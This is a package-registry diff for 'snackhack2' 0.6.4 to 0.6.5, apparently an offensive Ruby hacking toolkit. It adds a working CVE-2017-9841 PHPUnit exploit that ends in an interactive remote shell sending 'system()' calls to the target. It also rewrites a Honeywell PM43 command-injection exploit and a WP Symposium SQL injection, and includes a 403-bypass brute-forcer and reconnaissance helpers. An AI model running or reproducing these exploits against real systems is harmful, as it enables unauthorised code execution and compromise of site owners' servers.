snackhack2 0.6.4 → 0.6.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/CVE-2017-9841.rb +77 -0
- data/lib/snackhack2/Honeywell_PM43.rb +25 -27
- data/lib/snackhack2/WP_Symposium.rb +22 -22
- data/lib/snackhack2/bannergrabber.rb +82 -82
- data/lib/snackhack2/bypass_403.rb +68 -66
- data/lib/snackhack2/comments.rb +29 -27
- data/lib/snackhack2/cryptoextractor.rb +64 -64
- data/lib/snackhack2/dns.rb +99 -0
- data/lib/snackhack2/drupal.rb +47 -49
- data/lib/snackhack2/emails.rb +31 -35
- data/lib/snackhack2/forward_remote.rb +26 -24
- data/lib/snackhack2/google_analytics.rb +30 -28
- data/lib/snackhack2/indirect_command_injection.rb +34 -32
- data/lib/snackhack2/iplookup.rb +52 -45
- data/lib/snackhack2/list_users.rb +34 -31
- data/lib/snackhack2/phishing_tlds.rb +197 -0
- data/lib/snackhack2/phone_number.rb +53 -56
- data/lib/snackhack2/portscan.rb +72 -73
- data/lib/snackhack2/reverse_shell.rb +32 -31
- data/lib/snackhack2/robots.rb +80 -81
- data/lib/snackhack2/screenshots.rb +25 -23
- data/lib/snackhack2/sitemap.rb +24 -22
- data/lib/snackhack2/ssrf.rb +7 -6
- data/lib/snackhack2/subdomains.rb +68 -68
- data/lib/snackhack2/subdomains2.rb +41 -43
- data/lib/snackhack2/tomcat.rb +23 -21
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +28 -27
- data/lib/snackhack2/website_links.rb +28 -28
- data/lib/snackhack2/website_meta.rb +33 -20
- data/lib/snackhack2/wordpress.rb +120 -128
- data/lib/snackhack2/wpForo_Forum.rb +23 -22
- data/lib/snackhack2.rb +84 -81
- metadata +23 -20
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: cda044a6c9ae56812b5742965caa204d3e32d8fe9dee0857806cefd45d058e4e
|
4
|
+
data.tar.gz: 6f6b5a0c249afdd9691070f481fcaa756721d599b5bf7f1f68909a54c30211f1
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 62c3e1c33052a126536a6c3b2708f2f15acd1a4adbb2d26df1f3ad9ba639c1e55308034872391fc179736e0ad9899c3f633a3273e7217ac5a547ced717f389b9
|
7
|
+
data.tar.gz: 43943cb44a33159f5fdd31650e8322355882ceb46ce4049ad6e17d900e6bd74e35d83989a205f0a3379c303233ed3359c5abf774fd9fc164fceb4ca763af5e40
|
@@ -0,0 +1,77 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
require 'net/http'
|
3
|
+
require 'uri'
|
4
|
+
module Snackhack2
|
5
|
+
class CVE20179841
|
6
|
+
attr_accessor :ip
|
7
|
+
|
8
|
+
def initialize(site, payload: "<?php echo md5('phpunit_rce'); ?>")
|
9
|
+
@site = site
|
10
|
+
@payload = payload
|
11
|
+
@vulnerable = false
|
12
|
+
end
|
13
|
+
|
14
|
+
def run
|
15
|
+
|
16
|
+
paths = ["yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
17
|
+
"vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
18
|
+
"laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
19
|
+
"laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
20
|
+
"lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
|
21
|
+
"zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
|
22
|
+
paths.each do |path|
|
23
|
+
|
24
|
+
uri = URI.parse(File.join(@site, path))
|
25
|
+
request = Net::HTTP::Post.new(uri)
|
26
|
+
request.body = "#{@payload}"
|
27
|
+
|
28
|
+
req_options = {
|
29
|
+
use_ssl: uri.scheme == "https",
|
30
|
+
}
|
31
|
+
response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
|
32
|
+
http.request(request)
|
33
|
+
end
|
34
|
+
# this is the MD5 Hhash of "phpunit_rce"
|
35
|
+
if response.body.match("6dd70f16549456495373a337e6708865")
|
36
|
+
@vulnerable = true
|
37
|
+
puts "THIS SITE IS vulnerable!"
|
38
|
+
return path
|
39
|
+
else
|
40
|
+
puts "The site is not vulnerable.... #{File.join(@site, path)}"
|
41
|
+
end
|
42
|
+
|
43
|
+
end
|
44
|
+
end
|
45
|
+
def shell
|
46
|
+
# if vulnerable it passes the path
|
47
|
+
path = self.run
|
48
|
+
# makes sure the site is vulnerable if it
|
49
|
+
# is it will run a endless while loop
|
50
|
+
if @vulnerable
|
51
|
+
while true
|
52
|
+
# takes input to run on the server
|
53
|
+
|
54
|
+
print(">")
|
55
|
+
input = gets.chomp
|
56
|
+
if input.eql?("exit")
|
57
|
+
exit
|
58
|
+
else
|
59
|
+
uri = URI.parse(File.join(@site, path))
|
60
|
+
request = Net::HTTP::Post.new(uri)
|
61
|
+
# takes the input ad run it on the host
|
62
|
+
request.body = "<?php system('#{input}'); ?>"
|
63
|
+
|
64
|
+
req_options = {
|
65
|
+
use_ssl: uri.scheme == "https",
|
66
|
+
}
|
67
|
+
|
68
|
+
response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
|
69
|
+
http.request(request)
|
70
|
+
end
|
71
|
+
puts response.body
|
72
|
+
end
|
73
|
+
end
|
74
|
+
end
|
75
|
+
end
|
76
|
+
end
|
77
|
+
end
|
@@ -1,27 +1,25 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
pp
|
19
|
-
|
20
|
-
|
21
|
-
puts pp
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
end
|
27
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'httparty'
|
4
|
+
module Snackhack2
|
5
|
+
class HoneywellPM43
|
6
|
+
# CVE-2023-3710
|
7
|
+
# Source: https://www.exploit-db.com/exploits/51885
|
8
|
+
attr_accessor :command
|
9
|
+
|
10
|
+
def initialize(site, command: 'ls', save_file: true)
|
11
|
+
@site = site
|
12
|
+
@command = command
|
13
|
+
end
|
14
|
+
|
15
|
+
def run
|
16
|
+
pp = HTTParty.post(File.join(@site, 'loadfile.lp?pageid=Configure'),
|
17
|
+
body: "username=x%0a#{@command}%0a&userpassword=1")
|
18
|
+
if pp.code == 200
|
19
|
+
puts pp
|
20
|
+
else
|
21
|
+
puts "[+] Status Code: #{pp.code}"
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
25
|
+
end
|
@@ -1,22 +1,22 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
module Snackhack2
|
4
|
-
class WPSymposium
|
5
|
-
# SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
|
6
|
-
# https://www.exploit-db.com/exploits/37824
|
7
|
-
# Reveal the MySQL version
|
8
|
-
def initialize(site)
|
9
|
-
@site = site
|
10
|
-
end
|
11
|
-
|
12
|
-
def run
|
13
|
-
wp = Snackhack2
|
14
|
-
|
15
|
-
if wp.code == 200
|
16
|
-
puts wp.body
|
17
|
-
else
|
18
|
-
puts "[+] HTTP Code: #{wp.code}"
|
19
|
-
end
|
20
|
-
end
|
21
|
-
end
|
22
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class WPSymposium
|
5
|
+
# SOURCE: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2015-6522
|
6
|
+
# https://www.exploit-db.com/exploits/37824
|
7
|
+
# Reveal the MySQL version
|
8
|
+
def initialize(site)
|
9
|
+
@site = site
|
10
|
+
end
|
11
|
+
|
12
|
+
def run
|
13
|
+
wp = Snackhack2.get(File.join(@site,
|
14
|
+
'/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--'))
|
15
|
+
if wp.code == 200
|
16
|
+
puts wp.body
|
17
|
+
else
|
18
|
+
puts "[+] HTTP Code: #{wp.code}"
|
19
|
+
end
|
20
|
+
end
|
21
|
+
end
|
22
|
+
end
|
@@ -1,82 +1,82 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
require 'socket'
|
4
|
-
module Snackhack2
|
5
|
-
class BannerGrabber
|
6
|
-
attr_accessor :site, :save_file
|
7
|
-
|
8
|
-
def initialize(
|
9
|
-
@site = site
|
10
|
-
@port = port
|
11
|
-
@headers = Snackhack2
|
12
|
-
@save_file = save_file
|
13
|
-
end
|
14
|
-
|
15
|
-
def site
|
16
|
-
|
17
|
-
end
|
18
|
-
|
19
|
-
def run
|
20
|
-
nginx
|
21
|
-
apache2
|
22
|
-
wordpress
|
23
|
-
headers
|
24
|
-
end
|
25
|
-
|
26
|
-
def nginx
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
end
|
36
|
-
end
|
37
|
-
|
38
|
-
def curl
|
39
|
-
servers = ''
|
40
|
-
cmd = `curl -s -I #{@site.gsub('https://', '')}`
|
41
|
-
version = cmd.split('Server: ')[1].split("\n")[0].strip
|
42
|
-
if @save_file
|
43
|
-
servers += version.to_s
|
44
|
-
else
|
45
|
-
puts "Banner: #{cmd.split('Server: ')[1].split("\n")[0]}"
|
46
|
-
end
|
47
|
-
Snackhack2
|
48
|
-
end
|
49
|
-
|
50
|
-
def apache2
|
51
|
-
if @headers['server'].match(/Apache/)
|
52
|
-
puts "[+] Server is running Apache2... Now checking #{File.join(@site,
|
53
|
-
apache = Snackhack2
|
54
|
-
if apache.code == 200
|
55
|
-
puts "Check #{@site}/server-status"
|
56
|
-
else
|
57
|
-
puts "[+] Response Code: #{apache.code}...\n\n"
|
58
|
-
end
|
59
|
-
else
|
60
|
-
puts "Apache2 is not found...\n\n"
|
61
|
-
end
|
62
|
-
end
|
63
|
-
|
64
|
-
def wordpress
|
65
|
-
wp = Snackhack2
|
66
|
-
return unless wp.match(/wp-content/)
|
67
|
-
|
68
|
-
puts "[+] Wordpress found [+]\n\n\n"
|
69
|
-
end
|
70
|
-
|
71
|
-
def headers
|
72
|
-
h = Snackhack2
|
73
|
-
puts "[+] Server Version: #{h['server']}..."
|
74
|
-
end
|
75
|
-
|
76
|
-
def server
|
77
|
-
@headers['server']
|
78
|
-
end
|
79
|
-
|
80
|
-
attr_reader :site
|
81
|
-
end
|
82
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'socket'
|
4
|
+
module Snackhack2
|
5
|
+
class BannerGrabber
|
6
|
+
attr_accessor :port, :site, :save_file
|
7
|
+
|
8
|
+
def initialize(port: 443, save_file: true)
|
9
|
+
@site = site
|
10
|
+
@port = port
|
11
|
+
@headers = Snackhack2.get(@site).headers
|
12
|
+
@save_file = save_file
|
13
|
+
end
|
14
|
+
|
15
|
+
def site
|
16
|
+
# @site.gsub('https://', '')
|
17
|
+
end
|
18
|
+
|
19
|
+
def run
|
20
|
+
nginx
|
21
|
+
apache2
|
22
|
+
wordpress
|
23
|
+
headers
|
24
|
+
end
|
25
|
+
|
26
|
+
def nginx
|
27
|
+
return unless @headers['server'].match(/nginx/)
|
28
|
+
|
29
|
+
puts "[+] Server is running NGINX... Now checking if #{File.join(@site, 'nginx_status')} is valid..."
|
30
|
+
nginx = Snackhack2.get(File.join(@site, 'nginx_status'))
|
31
|
+
if nginx.code == 200
|
32
|
+
puts "Check #{@site}/nginx_status"
|
33
|
+
else
|
34
|
+
puts "Response code: #{nginx.code}"
|
35
|
+
end
|
36
|
+
end
|
37
|
+
|
38
|
+
def curl
|
39
|
+
servers = ''
|
40
|
+
cmd = `curl -s -I #{@site.gsub('https://', '')}`
|
41
|
+
version = cmd.split('Server: ')[1].split("\n")[0].strip
|
42
|
+
if @save_file
|
43
|
+
servers += version.to_s
|
44
|
+
else
|
45
|
+
puts "Banner: #{cmd.split('Server: ')[1].split("\n")[0]}"
|
46
|
+
end
|
47
|
+
Snackhack2.file_save(@site, 'serverversion', servers) if @save_file
|
48
|
+
end
|
49
|
+
|
50
|
+
def apache2
|
51
|
+
if @headers['server'].match(/Apache/)
|
52
|
+
puts "[+] Server is running Apache2... Now checking #{File.join(@site, 'server-status')}..."
|
53
|
+
apache = Snackhack2.get(File.join(@site, 'server-status'))
|
54
|
+
if apache.code == 200
|
55
|
+
puts "Check #{@site}/server-status"
|
56
|
+
else
|
57
|
+
puts "[+] Response Code: #{apache.code}...\n\n"
|
58
|
+
end
|
59
|
+
else
|
60
|
+
puts "Apache2 is not found...\n\n"
|
61
|
+
end
|
62
|
+
end
|
63
|
+
|
64
|
+
def wordpress
|
65
|
+
wp = Snackhack2.get(@site).body
|
66
|
+
return unless wp.match(/wp-content/)
|
67
|
+
|
68
|
+
puts "[+] Wordpress found [+]\n\n\n"
|
69
|
+
end
|
70
|
+
|
71
|
+
def headers
|
72
|
+
h = Snackhack2.get(@site).headers
|
73
|
+
puts "[+] Server Version: #{h['server']}..."
|
74
|
+
end
|
75
|
+
|
76
|
+
def server
|
77
|
+
@headers['server']
|
78
|
+
end
|
79
|
+
|
80
|
+
attr_reader :site
|
81
|
+
end
|
82
|
+
end
|
@@ -1,66 +1,68 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
@
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
puts
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
puts
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
puts
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'async'
|
4
|
+
require 'httparty'
|
5
|
+
module Snackhack2
|
6
|
+
class BypassHTTP
|
7
|
+
attr_accessor :site, :wordlist, :bypass
|
8
|
+
|
9
|
+
def initialize
|
10
|
+
@site = site
|
11
|
+
@wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt')
|
12
|
+
@bypass = '//'
|
13
|
+
end
|
14
|
+
|
15
|
+
def forward_for
|
16
|
+
File.readlines(@wordlist).each do |r|
|
17
|
+
r = r.strip
|
18
|
+
Async do
|
19
|
+
url = File.join(@site, @bypass, r)
|
20
|
+
r = HTTParty.get(url, headers: {
|
21
|
+
"X-Forwarded-For": '127.0.0.1'
|
22
|
+
})
|
23
|
+
puts url
|
24
|
+
puts r.code
|
25
|
+
puts "\n"
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
|
30
|
+
def web_request(bypass)
|
31
|
+
File.readlines(@wordlist).each do |r|
|
32
|
+
r = r.strip
|
33
|
+
Async do
|
34
|
+
url = File.join(@site, bypass, r)
|
35
|
+
r = Snackhack2.get(url)
|
36
|
+
puts url
|
37
|
+
puts r.code
|
38
|
+
puts "\n"
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
|
43
|
+
def basic
|
44
|
+
web_request('//')
|
45
|
+
end
|
46
|
+
|
47
|
+
def uppercase
|
48
|
+
File.readlines(@wordlist).each do |r|
|
49
|
+
r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) }
|
50
|
+
Async do
|
51
|
+
url = File.join(@site, r)
|
52
|
+
puts url
|
53
|
+
r = Snackhack2.get(url)
|
54
|
+
puts r.code
|
55
|
+
puts "\n"
|
56
|
+
end
|
57
|
+
end
|
58
|
+
end
|
59
|
+
|
60
|
+
def url_encode
|
61
|
+
web_request('%2e')
|
62
|
+
end
|
63
|
+
|
64
|
+
def dots
|
65
|
+
web_request('..;/')
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
data/lib/snackhack2/comments.rb
CHANGED
@@ -1,27 +1,29 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
puts body[i].next
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class Comments
|
5
|
+
attr_accessor :site
|
6
|
+
|
7
|
+
def initialize
|
8
|
+
@site = site
|
9
|
+
end
|
10
|
+
|
11
|
+
def run
|
12
|
+
c = Snackhack2.get(@site)
|
13
|
+
|
14
|
+
if c.code == 200
|
15
|
+
body = c.body.split("\n")
|
16
|
+
body.each_with_index do |l, i|
|
17
|
+
line = l.strip
|
18
|
+
if line.start_with?('<!--')
|
19
|
+
puts body[i].next
|
20
|
+
elsif line.include?('<!')
|
21
|
+
puts body[i].next
|
22
|
+
end
|
23
|
+
end
|
24
|
+
else
|
25
|
+
puts "Status Code: #{c.code}\n"
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
end
|